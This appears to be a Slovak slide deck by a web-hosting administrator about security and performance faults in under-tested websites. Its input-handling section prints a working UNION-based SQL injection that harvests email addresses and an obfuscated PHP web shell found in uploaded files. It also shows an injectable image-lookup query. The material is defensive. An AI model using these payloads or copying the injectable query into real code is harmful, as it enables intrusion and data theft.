Upload
webglobe-yegon
View
181
Download
1
Embed Size (px)
Citation preview
Problémy, ktoré spôsobujú nedotestované/nedovyvíjané weby.
Ján Muráň
Od 2009 Yegon s.r.o → Webglobe s.r.o.
Systém administrátor
Obsah
● Nedotestované weby
● Najčastejšie chyby
● Príklady a riešenia najčastejších chýb
● Otázky
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ochrana dát webu- zabezpečiť prístup k dátam ftp – geoip
- zabezpečenie vstupov, GET, POST, upload
- ošetrenie prístupových práv adresárom a súborom
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ochrana prostredia, v ktorom beží web- spolupráca s webhostingovým providerom, (bezpečnostné moduly, cache, jail, mod_chroot)
- zdielaný hosting vs privátne riešenia na mieru (cloud, serverhousing)
Na čo sa treba zamerať, keď sa nám dostane do rúk nedotestovaný web
alebo aplikácia
● Ošetriť vplyvy na výkon
- analýza webu z pohľadu spotreby výkonu
- výber HW prostredia na ktorom bude bežať web (zdielaný hosting, serverhousing, cloud)
Najčastejšie chyby
● Neošetrenie vstupov
● Nesprávne napísané query databáz
● Zlá štruktúra databáz
● Online resize obrázkov
Príklady a riešenia najčastejších chýb
Neošetrený vstup
GET,POST
domena.tld/index.php?id=511111111111111111111111111%27%20UNION%20SELECT%201,2,3,4,CONCAT%28CHAR%28100,100,100%29,CHAR%2891,88,93%29,GROUP_CONCAT%28t.email%29,CHAR%2891,88,88,93%29%29,6,7,8%20FROM%20%28SELECT%20email%20FROM%20table.%60mail%60%20WHERE%20%60email%60%20LIKE%20char%2837,64,37%29%20LIMIT%20103440,20%29t%20%20%20%20limit%200,1%20--%20/*%20order%20by%20%27as
select * from articles,categories WHERE categories.id= articles.id_category and articles.id = '2811111111111111111111111111' UNION SELECT 1,2,3,4,CONCAT(CHAR(100,100,100),CHAR(91,88,93),GROUP_CONCAT(t.email),CHAR(91,88,88,93)),6,7,8 FROM (SELECT email FROM table.`mail` WHERE `email` LIKE char(37,64,37) LIMIT 810954,20)t limit 0,1 -- /* order by 'as' and publish_date > '0000-00-00'
Príklady a riešenia najčastejších chýb
Neošetrený vstup
UPLOAD
error.php,db.php, info.php....<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['ncdd94a'])) {eval($s21(${$s20}['ncdd94a']));}
eval(base64_decode($_POST['ncdd94a']));
Nesprávne napísané query databáz
● Nepoužívanie indexov
● Nesprávne join query# Time: 141110 6:43:16
# User@Host: db[host] @ localhost []
# Query_time: 12.797832 Lock_time: 0.001288 Rows_sent: 57709 Rows_examined: 955021
Nesprávne napísané query databáz
● Where like '%text%'menšie tabuľky - fulltext – ove vyhľadávanie
väčšie tabuľky – vyhľadávacie enginy (elasticsearch)
Nesprávne napísané query databáz
Select * FROM wordmatch WHERE word_id IN ('1', '2', '3', '4', '7', '10', '11', '13', '14', '16', '17', '18', '19', '20', '21', '23', '24', '28',...................... '9942', '9962', '9967', '9987', '10007', '10009', '10011', '10012', '10021', '10052', '10064', '10070', '10073', '10077', '10085', '10093', '10123', '10143', '10152', '10189', '10190', '10209', '10219', '10252', '10267', '10286', '10309', '10316', '10318', '10337', '10344', '10355', '10359', '10364', '10379', '10384', '10385', '10393', '10396', '10431', '10439', '10459', '10460', '10538', '10572', '10576', '10593', '10616', '10620', '10627', '10638', '10646', '10660', '10669', '10674', '10700', '10715', '10719', '10728', '10744', '10834', '10835', '10840', '10881', '10886', '10888', '10899', '10917', '10920', '10921', '10992', '11012', '11014', '11048', '11067', '11084', '11085', '11105', '11139', '11198', '11310', '11324', '11389', '11402', '11420', '11422', '11423', '11443', '11455', '11481', '11649', '11665', '11695', '11774', '11784', '11810', '11811', '11812', '11813', '11816', '11818', '11821', '11822', '11825', '11827', '11828', '11858', '11864', '11892', '11919', '11941', '11961', '11968', '12003', '12013', '12088', '12111', '12143', '12325', '12329', '12332', '12339', '12343', '12344', '12400', '12488', '12496', '12504', '12506', '12522', '12589', '12601', '12609', '12709', '12733', '12750', '12762', '12765', '12785', '12806', '12824', '12847', '12848', '12849', '12944', '13037', '13332', '13401', '13505', '13565', '13789', '13807', '13840', '13910', '13914', '13929', '13930', '13964', '14011', '14099', '14168', '14249', '14266', '14294', '14295', '14380', '14410', '14418', '14508', '14674', '14819', '15045', '15365', '15417', '15532', '15559', '16384', '16451', '16516', '16789');
BETWEEN min AND max;
Príklad online resize
- obrázky uložene len v jednej veľkosti
- prístup cez image.php?img=671&size=small
Select * from images where id='{$img}'
$image
$im = new imagick(„path“.$image['name']);
$im->resizeImage(50,50,1,0);
header("Content-Type: image/jpeg");
$thumbnail = $im->getImageBlob();
echo $thumbnail;